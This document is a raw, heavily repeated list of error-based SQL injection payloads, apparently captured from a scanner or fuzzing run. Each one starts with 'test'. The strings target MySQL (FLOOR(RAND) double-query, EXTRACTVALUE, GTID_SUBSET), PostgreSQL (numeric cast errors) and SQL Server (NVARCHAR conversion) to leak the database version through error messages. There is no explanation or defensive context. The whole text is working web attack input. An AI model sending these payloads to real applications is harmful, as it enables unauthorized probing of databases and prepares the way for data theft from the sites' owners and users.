test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

